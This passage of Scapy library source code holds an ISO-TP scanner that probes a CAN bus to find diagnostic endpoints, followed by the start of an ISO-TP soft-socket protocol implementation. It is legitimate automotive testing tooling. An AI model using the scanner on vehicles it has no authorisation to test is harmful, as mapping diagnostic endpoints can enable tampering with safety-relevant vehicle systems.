t2) < 0.001 for t1, t2 in zip(tg[1:], tg[:-1])):\n            log_isotp.info(\n                \"[i] Identifier 0x%03x seems to be periodic. Filtered.\")\n            for k in key_lst:\n                del packet_dict[k]\n\n\ndef get_isotp_fc(\n        id_value,  # type: int\n        id_list,  # type: Union[List[int], Dict[int, Tuple[Packet, int]]]\n        noise_ids,  # type: Optional[List[int]]\n        extended,  # type: bool\n        packet,  # type: Packet\n):\n    # type: (...) -> None\n    \"\"\"Callback for sniff function when packet received\n\n    If received packet is a FlowControl and not in noise_ids append it\n    to id_list.\n\n    :param id_value: packet id of send packet\n    :param id_list: list of received IDs\n    :param noise_ids: list of packet IDs which will not be considered when\n                      received during scan\n    :param extended: boolean if extended scan\n    :param packet: received packet\n    \"\"\"\n    if packet.flags and packet.flags != \"extended\":\n        return\n\n    if noise_ids is not None and packet.identifier in noise_ids:\n        return\n\n    try:\n        index = 1 if extended else 0\n        isotp_pci = orb(packet.data[index]) >> 4\n        isotp_fc = orb(packet.data[index]) & 0x0f\n        if isotp_pci == 3 and 0 <= isotp_fc <= 2:\n            log_isotp.info(\"Found flow-control frame from identifier \"\n                           \"0x%03x when testing identifier 0x%03x\",\n                           packet.identifier, id_value)\n            if isinstance(id_list, dict):\n                id_list[id_value] = (packet, packet.identifier)\n            elif isinstance(id_list, list):\n                id_list.append(id_value)\n            else:\n                raise TypeError(\"Unknown type of id_list\")\n        else:\n            if noise_ids is not None:\n                noise_ids.append(packet.identifier)\n    except Exception as e:\n        log_isotp.exception(\n            \"Unknown message Exception: %s on packet: %s\",\n            e, repr(packet))\n\n\ndef scan(sock,  # type: SuperSocket\n         scan_range=range(0x800),  # type: Iterable[int]\n         noise_ids=None,  # type: Optional[List[int]]\n         sniff_time=0.1,  # type: float\n         extended_can_id=False,  # type: bool\n         verify_results=True,  # type: bool\n         stop_event=None,  # type: Optional[Event]\n         fd=False  # type: bool\n         ):  # type: (...) -> Dict[int, Tuple[Packet, int]]\n    \"\"\"Scan and return dictionary of detections\n\n    ISOTP-Scan - NO extended IDs\n    found_packets = Dictionary with Send-to-ID as\n    key and a tuple (received packet, Recv_ID)\n\n    :param sock: socket for can interface\n    :param scan_range: hexadecimal range of IDs to scan. Default is 0x0 - 0x7ff\n    :param noise_ids: list of packet IDs which will not be tested during scan\n    :param sniff_time: time the scan waits for isotp flow control responses\n                       after sending a first frame\n    :param extended_can_id: Send extended can frames\n    :param verify_results: Verify scan results. This will cause a second scan\n                           of all possible candidates for ISOTP Sockets\n    :param stop_event: Event object to asynchronously stop the scan\n    :param fd: Use CANFD packets for scan\n    :return: Dictionary with all found packets\n    \"\"\"\n    return_values = dict()  # type: Dict[int, Tuple[Packet, int]]\n    for value in scan_range:\n        if stop_event is not None and stop_event.is_set():\n            break\n        if noise_ids and value in noise_ids:\n            continue\n        sock.send(get_isotp_packet(value, False, extended_can_id, fd))\n        sock.sniff(prn=lambda pkt: get_isotp_fc(value, return_values,\n                                                noise_ids, False, pkt),\n                   timeout=sniff_time, store=False)\n\n    if not verify_results:\n        return return_values\n\n    cleaned_ret_val = dict()  # type: Dict[int, Tuple[Packet, int]]\n    retest_ids = list(set(\n        itertools.chain.from_iterable(\n            range(max(0, i - 2), i + 2) for i in return_values.keys())))\n    for value in retest_ids:\n        if stop_event is not None and stop_event.is_set():\n            break\n        sock.send(get_isotp_packet(value, False, extended_can_id, fd))\n        sock.sniff(prn=lambda pkt: get_isotp_fc(value, cleaned_ret_val,\n                                                noise_ids, False, pkt),\n                   timeout=sniff_time * 10, store=False)\n\n    if return_values != cleaned_ret_val:\n        log_isotp.error(\"Some ISOTP endpoints detected in first scan didn't \"\n                        \"answer validation round. Possible bug on target.\")\n\n    return cleaned_ret_val\n\n\ndef scan_extended(sock,  # type: SuperSocket\n                  scan_range=range(0x800),  # type: Iterable[int]\n                  scan_block_size=32,  # type: int\n                  extended_scan_range=range(0x100),  # type: Iterable[int]\n                  noise_ids=None,  # type: Optional[List[int]]\n                  sniff_time=0.1,  # type: float\n                  extended_can_id=False,  # type: bool\n                  stop_event=None,  # type: Optional[Event]\n                  fd=False  # type: bool\n                  ):  # type: (...) -> Dict[int, Tuple[Packet, int]]\n    \"\"\"Scan with ISOTP extended addresses and return dictionary of detections\n\n    If an answer-packet found -> slow scan with\n    single packages with extended ID 0 - 255\n    found_packets = Dictionary with Send-to-ID\n    as key and a tuple (received packet, Recv_ID)\n\n    :param sock: socket for can interface\n    :param scan_range: hexadecimal range of IDs to scan. Default is 0x0 - 0x7ff\n    :param scan_block_size: count of packets send at once\n    :param extended_scan_range: range to search for extended ISOTP addresses\n    :param noise_ids: list of packet IDs which will not be tested during scan\n    :param sniff_time: time the scan waits for isotp flow control responses\n                       after sending a first frame\n    :param extended_can_id: Send extended can frames\n    :param stop_event: Event object to asynchronously stop the scan\n    :param fd: Use CANFD packets for scan\n    :return: Dictionary with all found packets\n    \"\"\"\n    return_values = dict()  # type: Dict[int, Tuple[Packet, int]]\n    scan_block_size = scan_block_size or 1\n    r = list(extended_scan_range)\n\n    for value in scan_range:\n        if noise_ids and value in noise_ids:\n            continue\n\n        pkt = get_isotp_packet(\n            value, extended=True, extended_can_id=extended_can_id, fd=fd)\n        id_list = []  # type: List[int]\n        for ext_isotp_id in range(r[0], r[-1], scan_block_size):\n            if stop_event is not None and stop_event.is_set():\n                break\n            send_multiple_ext(sock, ext_isotp_id, pkt, scan_block_size)\n            sock.sniff(prn=lambda p: get_isotp_fc(ext_isotp_id, id_list,\n                                                  noise_ids, True, p),\n                       timeout=sniff_time * 3, store=False)\n            # sleep to prevent flooding\n            time.sleep(sniff_time)\n\n        # remove duplicate IDs\n        id_list = list(set(id_list))\n        for ext_isotp_id in id_list:\n            if stop_event is not None and stop_event.is_set():\n                break\n            for ext_id in range(max(ext_isotp_id - 2, 0),\n                                min(ext_isotp_id + scan_block_size + 2, 256)):\n                if stop_event is not None and stop_event.is_set():\n                    break\n                pkt.extended_address = ext_id\n                full_id = (value << 8) + ext_id\n                sock.send(pkt)\n                sock.sniff(prn=lambda pkt: get_isotp_fc(full_id,\n                                                        return_values,\n                                                        noise_ids, True,\n                                                        pkt),\n                           timeout=sniff_time * 2, store=False)\n\n    return return_values\n\n\ndef isotp_scan(sock,  # type: SuperSocket\n               scan_range=range(0x7ff + 1),  # type: Iterable[int]\n               extended_addressing=False,  # type: bool\n               extended_scan_range=range(0x100),  # type: Iterable[int]\n               noise_listen_time=2,  # type: int\n               sniff_time=0.1,  # type: float\n               output_format=None,  # type: Optional[str]\n               can_interface=None,  # type: Optional[str]\n               extended_can_id=False,  # type: bool\n               verify_results=True,  # type: bool\n               verbose=False,  # type: bool\n               stop_event=None,  # type: Optional[Event]\n               fd=False  # type: bool\n               ):\n    # type: (...) -> Union[str, List[SuperSocket]]\n    \"\"\"Scan for ISOTP Sockets on a bus and return findings\n\n    Scan for ISOTP Sockets in the defined range and returns found sockets\n    in a specified format. The format can be:\n\n    - text: human readable output\n    - code: python code for copy&paste\n    - json: json string\n    - sockets: if output format is not specified, ISOTPSockets will be\n      created and returned in a list\n\n    :param sock: CANSocket object to communicate with the bus under scan\n    :param scan_range: range of CAN-Identifiers to scan. Default is 0x0 - 0x7ff\n    :param extended_addressing: scan with ISOTP extended addressing\n    :param extended_scan_range: range for ISOTP extended addressing values\n    :param noise_listen_time: seconds to listen for default communication on\n                              the bus\n    :param sniff_time: time the scan waits for isotp flow control responses\n                       after sending a first frame\n    :param output_format: defines the format of the returned results\n                          (text, code or sockets). Provide a string e.g.\n                          \"text\". Default is \"socket\".\n    :param can_interface: interface used to create the returned code/sockets\n    :param extended_can_id: Use Extended CAN-Frames\n    :param verify_results: Verify scan results. This will cause a second scan\n                           of all possible candidates for ISOTP Sockets\n    :param verbose: displays information during scan\n    :param stop_event: Event object to asynchronously stop the scan\n    :param fd: Create CANFD frames\n    :return:\n    \"\"\"\n    if verbose:\n        log_isotp.setLevel(logging.DEBUG)\n\n    log_isotp.info(\"Filtering background noise...\")\n\n    # Send dummy packet. In most cases, this triggers activity on the bus.\n    if fd:\n        dummy_pkt_cls = CANFD  # type: Union[Type[CAN], Type[CANFD]]\n    else:\n        dummy_pkt_cls = CAN\n\n    dummy_pkt = dummy_pkt_cls(identifier=0x123,\n                              data=b'\\xaa\\xbb\\xcc\\xdd\\xee\\xff\\xaa\\xbb')\n\n    background_pkts = sock.sniff(\n        timeout=noise_listen_time,\n        started_callback=lambda: sock.send(dummy_pkt))\n\n    noise_ids = list(set(pkt.identifier for pkt in background_pkts))\n\n    if extended_addressing:\n        found_packets = scan_extended(sock, scan_range,\n                                      extended_scan_range=extended_scan_range,\n                                      noise_ids=noise_ids,\n                                      sniff_time=sniff_time,\n                                      extended_can_id=extended_can_id,\n                                      stop_event=stop_event,\n                                      fd=fd)\n    else:\n        found_packets = scan(sock, scan_range,\n                             noise_ids=noise_ids,\n                             sniff_time=sniff_time,\n                             extended_can_id=extended_can_id,\n                             verify_results=verify_results,\n                             stop_event=stop_event,\n                             fd=fd)\n\n    filter_periodic_packets(found_packets)\n\n    if output_format == \"text\":\n        return generate_text_output(found_packets, extended_addressing, fd)\n\n    if output_format == \"code\":\n        return generate_code_output(found_packets, can_interface,\n                                    extended_addressing, fd)\n\n    if output_format == \"json\":\n        return generate_json_output(found_packets, can_interface,\n                                    extended_addressing, fd)\n\n    return generate_isotp_list(found_packets, can_interface or sock,\n                               extended_addressing, fd)\n\n\ndef generate_text_output(found_packets, extended_addressing=False, fd=False):\n    # type: (Dict[int, Tuple[Packet, int]], bool, bool) -> str\n    \"\"\"Generate a human readable output from the result of the `scan` or the\n    `scan_extended` function.\n\n    :param found_packets: result of the `scan` or `scan_extended` function\n    :param extended_addressing: print results from a scan with\n                                ISOTP extended addressing\n    :param fd: set CANFD flag in output\n    :return: human readable scan results\n    \"\"\"\n    if not found_packets:\n        return \"No packets found.\"\n\n    text = \"\\nFound %s ISOTP-FlowControl Packet(s):\" % len(found_packets)\n    for pack in found_packets:\n        if extended_addressing:\n            send_id = pack // 256\n            send_ext = pack - (send_id * 256)\n            ext_id = hex(orb(found_packets[pack][0].data[0]))\n            text += \"\\nSend to ID:             %s\" \\\n                    \"\\nSend to extended ID:    %s\" \\\n                    \"\\nReceived ID:            %s\" \\\n                    \"\\nReceived extended ID:   %s\" \\\n                    \"\\nMessage:                %s\" % \\\n                    (hex(send_id), hex(send_ext),\n                     hex(found_packets[pack][0].identifier), ext_id,\n                     repr(found_packets[pack][0]))\n        else:\n            text += \"\\nSend to ID:             %s\" \\\n                    \"\\nReceived ID:            %s\" \\\n                    \"\\nMessage:                %s\" % \\\n                    (hex(pack),\n                     hex(found_packets[pack][0].identifier),\n                     repr(found_packets[pack][0]))\n\n        padding = found_packets[pack][0].length == 8\n        if padding:\n            text += \"\\nPadding enabled\"\n        else:\n            text += \"\\nNo Padding\"\n\n        if fd:\n            text += \"\\nCANFD enabled\"\n\n        text += \"\\n\"\n    return text\n\n\ndef generate_code_output(found_packets, can_interface=\"iface\",\n                         extended_addressing=False, fd=False):\n    # type: (Dict[int, Tuple[Packet, int]], Optional[str], bool, bool) -> str\n    \"\"\"Generate a copy&past-able output from the result of the `scan` or\n    the `scan_extended` function.\n\n    :param found_packets: result of the `scan` or `scan_extended` function\n    :param can_interface: description string for a CAN interface to be\n                          used for the creation of the output.\n    :param extended_addressing: print results from a scan with ISOTP\n                                extended addressing\n    :param fd: set CANFD flag in output\n    :return: Python-code as string to generate all found sockets\n    \"\"\"\n    result = \"\"\n    if not found_packets:\n        return result\n\n    header = \"\\n\\nimport can\\n\" \\\n             \"conf.contribs['CANSocket'] = {'use-python-can': %s}\\n\" \\\n             \"load_contrib('cansocket')\\n\" \\\n             \"load_contrib('isotp')\\n\\n\" % PYTHON_CAN\n\n    for pack in found_packets:\n        if extended_addressing:\n            send_id = pack // 256\n            send_ext = pack - (send_id * 256)\n            ext_id = orb(found_packets[pack][0].data[0])\n            result += \"ISOTPSocket(%s, tx_id=0x%x, rx_id=0x%x, padding=%s, \" \\\n                      \"ext_address=0x%x, rx_ext_address=0x%x, fd=%s, \" \\\n                      \"basecls=ISOTP)\\n\" % \\\n                      (can_interface, send_id,\n                       int(found_packets[pack][0].identifier),\n                       found_packets[pack][0].length == 8,\n                       send_ext,\n                       ext_id,\n                       fd)\n\n        else:\n            result += \"ISOTPSocket(%s, tx_id=0x%x, rx_id=0x%x, padding=%s, fd=%s, \" \\\n                      \"basecls=ISOTP)\\n\" % \\\n                      (can_interface, pack,\n                       int(found_packets[pack][0].identifier),\n                       found_packets[pack][0].length == 8,\n                       fd)\n    return header + result\n\n\ndef generate_json_output(found_packets,  # type: Dict[int, Tuple[Packet, int]]\n                         can_interface=\"iface\",  # type: Optional[str]\n                         extended_addressing=False,  # type: bool\n                         fd=False  # type: bool\n                         ):\n    # type: (...) -> str\n    \"\"\"Generate a list of ISOTPSocket objects from the result of the `scan` or\n    the `scan_extended` function.\n\n    :param found_packets: result of the `scan` or `scan_extended` function\n    :param can_interface: description string for a CAN interface to be\n                          used for the creation of the output.\n    :param extended_addressing: print results from a scan with ISOTP\n                                extended addressing\n    :param fd: set CANFD flag in output\n    :return: A list of all found ISOTPSockets\n    \"\"\"\n    socket_list = []  # type: List[Dict[str, Any]]\n    for pack in found_packets:\n        pkt = found_packets[pack][0]\n\n        dest_id = pkt.identifier\n        pad = True if pkt.length == 8 else False\n\n        if extended_addressing:\n            source_id = pack >> 8\n            source_ext = int(pack - (source_id * 256))\n            dest_ext = orb(pkt.data[0])\n            socket_list.append({\"iface\": can_interface,\n                                \"tx_id\": source_id,\n                                \"ext_address\": source_ext,\n                                \"rx_id\": dest_id,\n                                \"rx_ext_address\": dest_ext,\n                                \"padding\": pad,\n                                \"fd\": fd,\n                                \"basecls\": ISOTP.__name__})\n        else:\n            source_id = pack\n            socket_list.append({\"iface\": can_interface,\n                                \"tx_id\": source_id,\n                                \"rx_id\": dest_id,\n                                \"padding\": pad,\n                                \"fd\": fd,\n                                \"basecls\": ISOTP.__name__})\n    return json.dumps(socket_list)\n\n\ndef generate_isotp_list(found_packets,  # type: Dict[int, Tuple[Packet, int]]\n                        can_interface,  # type: Union[SuperSocket, str]\n                        extended_addressing=False,  # type: bool\n                        fd=False  # type: bool\n                        ):\n    # type: (...) -> List[SuperSocket]\n    \"\"\"Generate a list of ISOTPSocket objects from the result of the `scan` or\n    the `scan_extended` function.\n\n    :param found_packets: result of the `scan` or `scan_extended` function\n    :param can_interface: description string for a CAN interface to be\n                          used for the creation of the output.\n    :param extended_addressing: print results from a scan with ISOTP\n                                extended addressing\n    :param fd: set CANFD flag in output\n    :return: A list of all found ISOTPSockets\n    \"\"\"\n    from scapy.contrib.isotp import ISOTPSocket\n\n    socket_list = []  # type: List[SuperSocket]\n    for pack in found_packets:\n        pkt = found_packets[pack][0]\n\n        dest_id = pkt.identifier\n        pad = True if pkt.length == 8 else False\n\n        if extended_addressing:\n            source_id = pack >> 8\n            source_ext = int(pack - (source_id * 256))\n            dest_ext = orb(pkt.data[0])\n            socket_list.append(ISOTPSocket(can_interface, tx_id=source_id,\n                                           ext_address=source_ext,\n                                           rx_id=dest_id,\n                                           rx_ext_address=dest_ext,\n                                           padding=pad,\n                                           fd=fd,\n                                           basecls=ISOTP))\n        else:\n            source_id = pack\n            socket_list.append(ISOTPSocket(can_interface, tx_id=source_id,\n                                           rx_id=dest_id, padding=pad,\n                                           fd=fd,\n                                           basecls=ISOTP))\n    return socket_list\n"
  },
  {
    "path": "scapy/contrib/isotp/isotp_soft_socket.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n# Copyright (C) Enrico Pozzobon <enricopozzobon@gmail.com>\n\nimport heapq\n# scapy.contrib.description = ISO-TP (ISO 15765-2) Soft Socket Library\n# scapy.contrib.status = library\nimport logging\nimport socket\nimport struct\nimport time\nimport traceback\nfrom bisect import bisect_left\nfrom threading import Thread, Event, RLock\n# Typing imports\nfrom typing import (\n    Optional,\n    Union,\n    List,\n    Tuple,\n    Any,\n    Type,\n    cast,\n    Callable,\n    TYPE_CHECKING,\n)\n\nfrom scapy.automaton import ObjectPipe, select_objects\nfrom scapy.config import conf\nfrom scapy.consts import LINUX\nfrom scapy.contrib.isotp.isotp_packet import ISOTP, CAN_MAX_DLEN, N_PCI_SF, \\\n    N_PCI_CF, N_PCI_FC, N_PCI_FF, ISOTP_MAX_DLEN, ISOTP_MAX_DLEN_2015, CAN_FD_MAX_DLEN\nfrom scapy.error import Scapy_Exception\nfrom scapy.layers.can import CAN, CANFD\nfrom scapy.packet import Packet\nfrom scapy.supersocket import SuperSocket\nfrom scapy.utils import EDecimal\n\nif TYPE_CHECKING:\n    from scapy.contrib.cansocket import CANSocket\n\nlog_isotp = logging.getLogger(\"scapy.contrib.isotp\")\n\n# Enum states\nISOTP_IDLE = 0\nISOTP_WAIT_FIRST_FC = 1\nISOTP_WAIT_FC = 2\nISOTP_WAIT_DATA = 3\nISOTP_SENDING = 4\n\n# /* Flow Status given in FC frame */\nISOTP_FC_CTS = 0  # /* clear to send */\nISOTP_FC_WT = 1  # /* wait */\nISOTP_FC_OVFLW = 2  # /* overflow */\n\n\nclass ISOTPSoftSocket(SuperSocket):\n    \"\"\"\n    This class is a wrapper around the ISOTPSocketImplementation, for the\n    reasons described below.\n\n    The ISOTPSoftSocket aims to be fully compatible with the Linux ISOTP\n    sockets provided by the can-isotp kernel module, while being usable on any\n    operating system.\n    Therefore, this socket needs to be able to respond to an incoming FF frame\n    with a FC frame even before the recv() method is called.\n    A thread is needed for receiving CAN frames in the background, and since\n    the lower layer CAN implementation is not guaranteed to have a functioning\n    POSIX select(), each ISOTP socket needs its own CAN receiver thread.\n    SuperSocket automatically calls the close() method when the GC destroys an\n    ISOTPSoftSocket. However, note that if any thread holds a reference to\n    an ISOTPSoftSocket object, it will not be collected by the GC.\n\n    The implementation of the ISOTP protocol, along with the necessary\n    thread, are stored in the ISOTPSocketImplementation class, and therefore:\n\n    * There no reference from ISOTPSocketImplementation to ISOTPSoftSocket\n    * ISOTPSoftSocket can be normally garbage collected\n    * Upon destruction, ISOTPSoftSocket.close() will be called\n    * ISOTPSoftSocket.close() will call ISOTPSocketImplementation.close()\n    * RX background thread can be stopped by the garbage collector\n\n    Initialize an ISOTPSoftSocket using the provided underlying can socket.\n\n    Example (with NativeCANSocket underneath):\n        >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}\n        >>> load_contrib('isotp')\n        >>> with ISOTPSocket(\"can0\", tx_id=0x641, rx_id=0x241) as sock:\n        >>>     sock.send(...)\n\n    Example (with PythonCANSocket underneath):\n        >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}\n        >>> conf.contribs['CANSocket'] = {'use-python-can': True}\n        >>> load_contrib('isotp')\n        >>> with ISOTPSocket(CANSocket(bustype='socketcan', channel=\"can0\"), tx_id=0x641, rx_id=0x241) as sock:\n        >>>     sock.send(...)\n\n    :param can_socket: a CANSocket instance, preferably filtering only can\n                       frames with identifier equal to rx_id\n    :param tx_id: the CAN identifier of the sent CAN frames\n    :param rx_id: the CAN identifier of the received CAN frames\n    :param ext_address: the extended address of the sent ISOTP frames\n    :param rx_ext_address: the extended address of the received ISOTP frames\n    :param bs: block size sent in Flow Control ISOTP frames\n    :param stmin: minimum desired separation time sent in\n                  Flow Control ISOTP frames\n    :param padding: If True, pads sending packets with 0x00 which not\n                    count to the payload.\n                    Does not affect receiving packets.\n    :param listen_only: Does not send Flow Control frames if a First Frame is\n                        received\n    :param basecls: base class of the packets emitted by this socket\n    :param fd: enables the CanFD support for this socket\n    \"\"\"  # noqa: E501\n\n    def __init__(self,\n                 can_socket=None,  # type: Optional[\"CANSocket\"]\n                 tx_id=0,  # type: int\n                 rx_id=0,  # type: int\n                 ext_address=None,  # type: Optional[int]\n                 rx_ext_address=None,  # type: Optional[int]\n                 bs=0,  # type: int\n                 stmin=0,  # type: int\n                 padding=False,  # type: bool\n                 listen_only=False,  # type: bool\n                 basecls=ISOTP,  # type: Type[Packet]\n                 fd=False  # type: bool\n                 ):\n        # type: (...) -> None\n\n        if LINUX and isinstance(can_socket, str):\n            from scapy.contrib.cansocket_native import NativeCANSocket\n            can_socket = NativeCANSocket(can_socket, fd=fd)\n        elif isinstance(can_socket, str):\n            raise Scapy_Exception(\"Provide a CANSocket object instead\")\n\n        self.ext_address = ext_address\n        self.rx_ext_address = rx_ext_address or ext_address\n        self.tx_id = tx_id\n        self.rx_id = rx_id\n        self.fd = fd\n\n        impl = ISOTPSocketImplementation(\n            can_socket,\n            tx_id=self.tx_id,\n            rx_id=self.rx_id,\n            padding=padding,\n            ext_address=self.ext_address,\n            rx_ext_address=self.rx_ext_address,\n            bs=bs,\n            stmin=stmin,\n            listen_only=listen_only,\n            fd=fd\n        )\n\n        # Cast for compatibility to functions from SuperSocket.\n        self.ins = cast(socket.socket, impl)\n        self.outs = cast(socket.socket, impl)\n        self.impl = impl\n        self.basecls = basecls\n        if basecls is None:\n            log_isotp.warning('Provide a basecls ')\n\n    def close(self):\n        # type: () -> None\n        if not self.closed:\n            if hasattr(self, \"impl\"):\n                self.impl.close()\n            self.closed = True\n\n    def failure_analysis(self):\n        # type: () -> None\n        self.impl.failure_analysis()\n\n    def recv_raw(self, x=0xffff):\n        # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]]  # noqa: E501\n        \"\"\"Receive a complete ISOTP message, blocking until a message is\n        received or the specified timeout is reached.\n        If self.timeout is 0, then this function doesn't block and returns the\n        first frame in the receive buffer or None if there isn't any.\"\"\"\n        if not self.closed:\n            tup = self.impl.recv()\n            if tup is not None:\n                return self.basecls, tup[0], float(tup[1])\n        return self.basecls, None, None\n\n    def recv(self, x=0xffff, **kwargs):\n        # type: (int, **Any) -> Optional[Packet]\n        msg = super(ISOTPSoftSocket, self).recv(x, **kwargs)\n        if msg is None:\n            return None\n\n        if hasattr(msg, \"tx_id\"):\n            msg.tx_id = self.tx_id\n        if hasattr(msg, \"rx_id\"):\n            msg.rx_id = self.rx_id\n        if hasattr(msg, \"ext_address\"):\n            msg.ext_address = self.ext_address\n        if hasattr(msg, \"rx_ext_address\"):\n            msg.rx_ext_address = self.rx_ext_address\n        return msg\n\n    @staticmethod\n    def select(sockets, remain=None):  # type: ignore[override]\n        # type: (List[Union[SuperSocket, ObjectPipe[Any]]], Optional[float]) -> List[Union[SuperSocket, ObjectPipe[Any]]]  # noqa: E501\n        \"\"\"This function is called during sendrecv() routine to wait for\n        sockets to be ready to receive\n        \"\"\"\n        obj_pipes: List[Union[SuperSocket, ObjectPipe[Tuple[bytes, Union[float, EDecimal]]]]] = [   # noqa: E501\n            x.impl.rx_queue for x in sockets if\n            isinstance(x, ISOTPSoftSocket) and not x.closed]\n        obj_pipes += [x for x in sockets if isinstance(x, ObjectPipe) and not x.closed]\n\n        ready_pipes = select_objects(obj_pipes, remain)\n\n        result: List[Union[SuperSocket, ObjectPipe[Any]]] = [\n            x for x in sockets if isinstance(x, ISOTPSoftSocket) and\n            not x.closed and x.impl.rx_queue in ready_pipes]\n        result += [x for x in sockets if isinstance(x, ObjectPipe) and\n                   x in ready_pipes]\n        return result\n\n\nclass TimeoutScheduler:\n    \"\"\"A timeout scheduler which uses a single thread for all timeouts, unlike\n    python's own Timer objects which use a thread each.\"\"\"\n    GRACE = .1\n    _mutex = RLock()\n    _event = Event()\n    _thread = None  # type: Optional[Thread]\n\n    # use heapq functions on _handles!\n    _handles = []  # type: List[TimeoutScheduler.Handle]\n\n    logger = logging.getLogger(\"scapy.contrib.automotive.timeout_scheduler\")\n\n    @classmethod\n    def schedule(cls, timeout, callback):\n        # type: (float, Callable[[], None]) -> TimeoutScheduler.Handle\n        \"\"\"Schedules the execution of a timeout.\n\n        The function `callback` will be called in `timeout` seconds.\n\n        Returns a handle that can be used to remove the timeout.\"\"\"\n        when = cls._time() + timeout\n        handle = cls.Handle(when, callback)\n\n        with cls._mutex:\n            # Add the handler to the heap, keeping the invariant\n            # Time complexity is O(log n)\n            heapq.heappush(cls._handles, handle)\n            must_interrupt = cls._handles[0] == handle\n\n            # Start the scheduling thread if it is not started already\n            if cls._thread is None:\n                t = Thread(target=cls._task, name=\"TimeoutScheduler._task\")\n                t.daemon = True\n                must_interrupt = False\n                cls._thread = t\n                cls._event.clear()\n                t.start()\n\n        if must_interrupt:\n            # if the new timeout got in front of the one we are currently\n            # waiting on, the current wait operation must be aborted and\n            # updated with the new timeout\n            cls._event.set()\n            time.sleep(0)  # call \"yield\"\n\n        # Return the handle to the timeout so that the user can cancel it\n        return handle\n\n    @classmethod\n    def cancel(cls, handle):\n        # type: (TimeoutScheduler.Handle) -> None\n        \"\"\"Provided its handle, cancels the execution of a timeout.\"\"\"\n\n        with cls._mutex:\n            if handle in cls._handles:\n                # Time complexity is O(n)\n                handle._cb = None\n                cls._handles.remove(handle)\n                heapq.heapify(cls._handles)\n\n                if len(cls._handles) == 0:\n                    # set the event to stop the wait - this kills the thread\n                    cls._event.set()\n            else:\n                raise Scapy_Exception(\"Handle not found\")\n\n    @classmethod\n    def clear(cls):\n        # type: () -> None\n        \"\"\"Cancels the execution of all timeouts.\"\"\"\n        with cls._mutex:\n            cls._handles = []\n\n        # set the event to stop the wait - this kills the thread\n        cls._event.set()\n\n    @classmethod\n    def _peek_next(cls):\n        # type: () -> Optional[TimeoutScheduler.Handle]\n        \"\"\"Returns the next timeout to execute, or `None` if list is empty,\n        without modifying the list\"\"\"\n        with cls._mutex:\n            return cls._handles[0] if cls._handles else None\n\n    @classmethod\n    def _wait(cls, handle):\n        # type: (Optional[TimeoutScheduler.Handle]) -> None\n        \"\"\"Waits until it is time to execute the provided handle, or until\n        another thread calls _event.set()\"\"\"\n\n        now = cls._time()\n\n        # Check how much time until the next timeout\n        if handle is None:\n            to_wait = cls.GRACE\n        else:\n            to_wait = handle._when - now\n\n        # Wait until the next timeout,\n        # or until event.set() gets called in another thread.\n        if to_wait > 0:\n            cls.logger.debug(\"Thread going to sleep @ %f \" +\n                             \"for %fs\", now, to_wait)\n            interrupted = cls._event.wait(to_wait)\n            new = cls._time()\n            cls.logger.debug(\"Thread awake @ %f, slept for\" +\n                             \" %f, interrupted=%d\", new, new - now,\n                             interrupted)\n\n        # Clear the event so that we can wait on it again,\n        # Must be done before doing the callbacks to avoid losing a set().\n        cls._event.clear()\n\n    @classmethod\n    def _task(cls):\n        # type: () -> None\n        \"\"\"Executed in a background thread, this thread will automatically\n        start when the first timeout is added and stop when the last timeout\n        is removed or executed.\"\"\"\n\n        cls.logger.debug(\"Thread spawning @ %f\", cls._time())\n\n        time_empty = None\n\n        try:\n            while 1:\n                handle = cls._peek_next()\n                if handle is None:\n                    now = cls._time()\n                    if time_empty is None:\n                        time_empty = now\n                    # 100 ms of grace time before killing the thread\n                    if cls.GRACE < now - time_empty:\n                        return\n                else:\n                    time_empty = None\n                cls._wait(handle)\n                cls._poll()\n\n        finally:\n            # Worst case scenario: if this thread dies, the next scheduled\n            # timeout will start a new one\n            cls.logger.debug(\"Thread died @ %f\", cls._time())\n            cls._thread = None\n\n    @classmethod\n    def _poll(cls):\n        # type: () -> None\n        \"\"\"Execute all the callbacks that were due until now\"\"\"\n\n        while 1:\n            with cls._mutex:\n                now = cls._time()\n                if len(cls._handles) == 0 or cls._handles[0]._when > now:\n                    # There is nothing to execute yet\n                    return\n\n                # Time complexity is O(log n)\n                handle = heapq.heappop(cls._handles)\n                callback = None\n                if handle is not None:\n                    callback = handle._cb\n                    handle._cb = True\n\n            # Call the callback here, outside the mutex\n            if callable(callback):\n                try:\n                    callback()\n                except Exception:\n                    traceback.print_exc()\n\n    @staticmethod\n    def _time():\n        # type: () -> float\n        return time.monotonic()\n\n    class Handle:\n        \"\"\"Handle for a timeout, consisting of a callback and a time when it\n        should be executed.\"\"\"\n        __slots__ = ['_when', '_cb']\n\n        def __init__(self,\n                     when,  # type: float\n                     cb  # type: Optional[Union[Callable[[], None], bool]]\n                     ):\n            # type: (...) -> None\n            self._when = when\n            self._cb = cb\n\n        def cancel(self):\n            # type: () -> bool\n            \"\"\"Cancels this timeout, preventing it from executing its\n            callback\"\"\"\n            if self._cb is None:\n                raise Scapy_Exception(\n                    \"cancel() called on previous canceled Handle\")\n            else:\n                with TimeoutScheduler._mutex:\n                    if isinstance(self._cb, bool):\n                        # Handle was already executed.\n                        # We don't need to cancel anymore\n                        return False\n                    else:\n                        self._cb = None\n                        TimeoutScheduler.cancel(self)\n                        return True\n\n        def __lt__(self, other):\n            # type: (Any) -> bool\n            if not isinstance(other, TimeoutScheduler.Handle):\n                raise TypeError()\n            return self._when < other._when\n\n        def __le__(self, other):\n            # type: (Any) -> bool\n            if not isinstance(other, TimeoutScheduler.Handle):\n                raise TypeError()\n            return self._when <= other._when\n\n        def __gt__(self, other):\n            # type: (Any) -> bool\n            if not isinstance(other, TimeoutScheduler.Handle):\n                raise TypeError()\n            return self._when > other._when\n\n        def __ge__(self, other):\n            # type: (Any) -> bool\n            if not isinstance(other, TimeoutScheduler.Handle):\n                raise TypeError()\n            return self._when >= other._when\n\n\nclass ISOTPSocketImplementation:\n    \"\"\"\n    Implementation of an ISOTP \"state machine\".\n\n    Most of the ISOTP logic was taken from\n    https://github.com/hartkopp/can-isotp/blob/master/net/can/isotp.c\n\n    This class is separated from ISOTPSoftSocket to make sure the background\n    thread can't hold a reference to ISOTPSoftSocket, allowing it to be\n    collected by the GC.\n\n    :param can_socket: a CANSocket instance, preferably filtering only can\n                       frames with identifier equal to rx_id\n    :param tx_id: the CAN 